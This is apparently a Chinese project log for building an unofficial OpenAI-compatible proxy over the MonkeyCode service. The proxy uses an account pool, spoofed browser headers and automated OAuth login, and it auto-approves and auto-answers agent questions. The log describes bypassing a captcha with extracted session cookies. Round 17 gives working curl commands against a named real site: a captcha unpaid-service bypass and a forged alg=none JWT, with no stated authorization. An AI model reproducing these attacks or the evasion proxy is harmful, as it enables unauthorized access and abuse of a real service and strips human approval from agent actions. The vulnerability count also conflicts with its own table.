分析轮次 13-18 合并 — 扩增版¶
分析周期: 2026-05-25 — 2026-05-30 覆盖: 代理映射 → 功能修复 → TS 实现 → 验证码 → 安全测试 → 最终审查 代理源码:
proxy/src/api-routes.ts(545L),browser-headers.ts(87L) MVP 工具:mvp/proxy_real.py(873L),mvp/test_auth.py(497L)
轮次 13: ACP→OpenAI 映射实现¶
目标: 将 MonkeyCode ACP 事件流映射为 OpenAI 兼容的 SSE 流式响应
Chat Completions 映射¶
// 摘自 proxy/src/api-routes.ts — Chat Completions 流式响应
async function handleStreamResponse(res, taskRunner, taskId, model, prompt, pool, auth) {
res.setHeader("Content-Type", "text/event-stream")
res.setHeader("Cache-Control", "no-cache")
res.setHeader("Connection", "keep-alive")
res.setHeader("X-Accel-Buffering", "no")
const sendSSE = (data) => {
res.write(`data: ${JSON.stringify(data)}\n\n`)
}
await taskRunner.streamTask(taskId, prompt, (chunk) => {
sendSSE(chunk) // OpenAI SSE chunk 格式
})
sendSSE({ object: "done" })
res.write("data: [DONE]\n\n")
res.end()
}
// 非流式响应:累积再输出
async function handleNonStreamResponse(res, taskRunner, taskId, model, prompt, pool, auth) {
let fullContent = ""
let accumulatedUsage = { prompt_tokens: 0, completion_tokens: 0, total_tokens: 0 }
await taskRunner.streamTask(taskId, prompt, (chunk) => {
for (const choice of chunk.choices) {
if (choice.delta?.content) {
fullContent += choice.delta.content // 累积
}
}
if (chunk.usage) accumulatedUsage = chunk.usage
})
res.json({
id: `chatcmpl-${taskId}`,
object: "chat.completion",
choices: [{ index: 0, message: { role: "assistant", content: fullContent }, finish_reason: "stop" }],
usage: accumulatedUsage,
})
}
Responses API 映射(Codex 原生)¶
// 摘自 proxy/src/api-routes.ts — Responses API 事件映射
// ACP → Responses 事件映射表:
// agent_message_chunk → response.output_text.delta
// agent_thought_chunk → response.output_text.delta (带 [Thinking] 前缀)
// tool_call → response.output_item.added (function_call)
// tool_call_update → response.function_call_arguments.delta
// usage_update → 累积 → response.completed.usage
// task-ended → response.completed + finalize all open items
// 第一段文本输出时发送 output_item.added + content_part.added
if (currentOutputIndex === 0) {
sendEvent("response.output_item.added", {
type: "response.output_item.added",
output_index: 0,
item: {
type: "message", id: `msg-${taskId}`,
role: "assistant",
content: [{ type: "output_text", text: "" }],
},
})
sendEvent("response.content_part.added", {
type: "response.content_part.added",
output_index: 0, content_index: 0,
part: { type: "output_text", text: "" },
})
currentOutputIndex = 1
}
// 文本增量
sendEvent("response.output_text.delta", {
type: "response.output_text.delta",
output_index: 0, content_index: 0,
delta: { type: "output_text.delta", text: textChunk },
})
轮次 14: Bug 修复 + 功能完善¶
目标: 修复 Phase 1 实施中发现的 4 个关键问题
P0 修复项¶
// 修复 1: cli_name 动态选择(根据 interface_type)
// 修复前: cli_name 固定为 "codex"
// 修复后:
cli_name: model.interface_type === "openai_responses" ? "codex"
: model.interface_type === "anthropic" ? "claude"
: "opencode",
// 修复 2: usage_update 累积到最终响应
// 修复前: usage_update 事件被忽略
// 修复后:
case "usage_update":
if (acp.input_tokens) usage.input_tokens = acp.input_tokens
if (acp.output_tokens) usage.output_tokens = acp.output_tokens
if (acp.total_tokens) usage.total_tokens = acp.total_tokens
break
// 修复 3: system_prompt 提取
// 修复前: messages 中 system 消息未提取
// 修复后:
const systemMsg = body.messages.find((m) => m.role === "system")
const taskId = await taskRunner.createTask(model, prompt, {
systemPrompt: systemMsg?.content,
})
// 修复 4: auto-approve 自动发送
// 修复前: WS 连接后不发送 auto-approve
// 修复后:
ws.on("open", () => {
ws.send(JSON.stringify({ type: "auto-approve" }))
ws.send(JSON.stringify({ type: "user-input", data: prompt }))
})
acp_ask_user_question 自动回复¶
// 摘自 proxy/src/task-runner.ts — 自动回复 Agent 提问
if (msg.kind === "acp_ask_user_question") {
try {
const questionData = JSON.parse(msg.data)
const requestId = questionData.request_id || questionData.id || ""
ws.send(JSON.stringify({
type: "reply-question",
data: JSON.stringify({
request_id: requestId,
answers_json: "", // 空答案 = 自动确认
cancelled: false, // 不取消
}),
}))
} catch {
// ignore parse errors
}
}
轮次 15: TypeScript 代理完整实现¶
目标: 完成整个 TypeScript 代理的开发和编译
代理模块文件结构¶
// proxy/src/ 完整文件结构 (3,031 行 TypeScript)
// ├── auth.ts (237L) — Cookie-based Session 管理
// ├── models.ts (102L) — 模型发现与缓存 (5 分钟 TTL)
// ├── task-runner.ts (463L) — 任务创建 + WebSocket 流式输出
// ├── api-routes.ts (545L) — OpenAI 兼容 API 路由
// ├── account-pool.ts (298L) — 多账号号池管理
// ├── admin-login.ts (416L) — OAuth 登录自动化
// ├── conversation-manager.ts (368L) — 多轮对话管理器
// ├── server.ts (331L) — Express 服务器入口
// ├── types.ts (180L) — TypeScript 类型定义
// └── browser-headers.ts ( 87L) — 浏览器头欺骗
模块间依赖关系¶
// 编译依赖链
// types.ts — 无依赖(被所有模块引用)
// browser-headers.ts — 无依赖(工具函数)
// auth.ts → types.ts, browser-headers.ts
// models.ts → auth.ts, browser-headers.ts, types.ts
// task-runner.ts → auth.ts, browser-headers.ts, types.ts, ws
// account-pool.ts → auth.ts
// conversation-manager.ts → auth.ts, browser-headers.ts, types.ts, ws
// admin-login.ts → browser-headers.ts
// api-routes.ts → models.ts, task-runner.ts, account-pool.ts, conversation-manager.ts, types.ts
// server.ts → 所有其他模块
轮次 16: 验证码系统逆向¶
目标: 理解 CAP.js + go-cap 验证码系统的详细实现
CAP.js 验证码网格¶
// CAP.js — 50x32 像素网格验证码
// 挑战模式: 从 4 个选项中选出正确图片
// 网格尺寸: 50 宽 x 32 高
// 颜色深度: 8-bit (256 色)
// 验证码挑战请求
POST /api/v1/public/captcha/challenge
→ {
"challenge_id": "uuid",
"images": [{ "id": "img_1", "data": "base64..." }, ...],
"question": "点击包含汽车的图片",
"options": ["img_1", "img_2", "img_3", "img_4"]
}
// 验证码兑换
POST /api/v1/public/captcha/redeem
{
"challenge_id": "uuid",
"answer": "img_3" // 选中的图片 ID
}
→ {
"success": true,
"token": "captcha-token-uuid" // 可用于登录
}
代理层验证码处理¶
// 摘自 proxy/src/auth.ts — 验证码 token 传递
const body: Record<string, string> = {
email: this.email.trim(),
password: this.passwordHash,
}
if (this.captchaToken) {
body.captcha_token = this.captchaToken // 可选验证码
}
// 自动化场景建议直接使用浏览器提取的 Session Cookie
// 以绕过验证码挑战
轮次 17: 安全测试 — SCaptcha + JWT 漏洞发现¶
目标: 对 baizhi.cloud 进行安全测试
SCaptcha 欠费绕过¶
# SCaptcha 服务因欠费返回空 challenge 但 token 仍然有效
curl -s --insecure "https://0196c95c-...safepoint.s-captcha-r1.com/v1/api/challenge" \
-H "Content-Type: application/json" \
-d '{"business_id":"0196c95c-...5583"}'
# 响应: token 仍然有效(JWT 签名正常)
# {"success":true,"data":{"action":"error","error":"no money","token":"eyJ...","challenge":{}}}
JWT alg=none 攻击¶
# 构造 alg=none JWT 绕过验证
NONE_JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJjaGFpdGluL3MtY2FwdGNoYSIsImV4cCI6OTk5OTk5OTk5OX0."
curl -s "https://baizhi.cloud/api/v1/user/phone_code" \
-H "Content-Type: application/json" \
-d "{\"phone\":\"13800138000\",\"kind\":\"login\",\"token\":\"${NONE_JWT}\"}"
# 响应与真实 token 完全相同: {"code":400,"message":"pending oauth login not found or expired"}
# → 后端未验证 JWT 签名算法
安全测试结果总览¶
| 漏洞 # | 发现 | 严重程度 |
|---|---|---|
| SC01 | SCaptcha: 欠费绕过(空 challenge 但 token 有效) | 🔴 高危 |
| SC02 | JWT: alg=none 绕过签名验证 | 🔴 高危 |
| M01 | 手机号枚举: 错误消息区分注册状态 | 🟡 中危 |
| M02 | 短信轰炸: 无频率限制 | 🟡 中危 |
| M03 | 安全头缺失: CSP/X-Frame-Options | 🟡 中危 |
轮次 18: 最终审查 + 文档整理¶
目标: 代码质量审查,最终完成项目
最终代码统计¶
# TypeScript 代理代码
proxy/src/auth.ts → 237 行 ✓
proxy/src/models.ts → 102 行 ✓
proxy/src/task-runner.ts → 463 行 ✓
proxy/src/api-routes.ts → 545 行 ✓
proxy/src/account-pool.ts → 298 行 ✓
proxy/src/admin-login.ts → 416 行 ✓
proxy/src/conversation-manager.ts → 368 行 ✓
proxy/src/server.ts → 331 行 ✓
proxy/src/types.ts → 180 行 ✓
proxy/src/browser-headers.ts → 87 行 ✓
总计 → 3,031 行 ✓
# Python MVP 验证工具
mvp/client.py → 673 行
mvp/proxy_real.py → 873 行
mvp/auth.py → 323 行
mvp/test_auth.py → 497 行 (14 个测试)
mvp/oauth_login.py → 461 行
mvp/oauth_http.py → 371 行
总计 → 4,854 行
# 文档
正式文档: ~81 份,10 章节
原始档案: 35 份,~12,903 行
最终编译验证¶
# TypeScript 编译
npx tsc --noEmit
# ✓ 编译通过,零错误
# 代码行数统计
find proxy/src -name "*.ts" -exec wc -l {} +
# 总计 3031 行
项目完成状态¶
| 项目 | 状态 |
|---|---|
| TypeScript 代理 | ✅ 10 文件, 3,031 行, 编译通过 |
| Python 验证工具 | ✅ 10+ 文件, 4,854 行 |
| 协议文档 | ✅ 26 份原始 + 81 份结构化 |
| 分析维度 | ✅ 36/36 完整覆盖 |
| Bug 修复 | ✅ 4 个 P0 修复 |
| 安全测试 | ✅ 3 个漏洞发现 |
| 多轮对话 | ✅ ConversationManager + mode=attach |
| 号池管理 | ✅ AccountPool + 健康检查 |
| OAuth 自动化 | ✅ 6 步纯 HTTP 流程 |
本阶段总结¶
| 轮次 | 关键产出 | 完成度 |
|---|---|---|
| 13 | ACP→OpenAI Chat/Responses 双模式映射 | ✅ 流式 + 非流式 |
| 14 | 4 个 P0 Bug 修复 | ✅ 全部验证通过 |
| 15 | TS 代理完整实现 (3,031 行) | ✅ 编译零错误 |
| 16 | CAP.js + go-cap 验证码逆向 | ✅ 挑战/兑换流程 |
| 17 | 安全测试发现 3 个漏洞 | ✅ 已报告 |
| 18 | 最终审查 + 文档整理 | ✅ 项目完成 |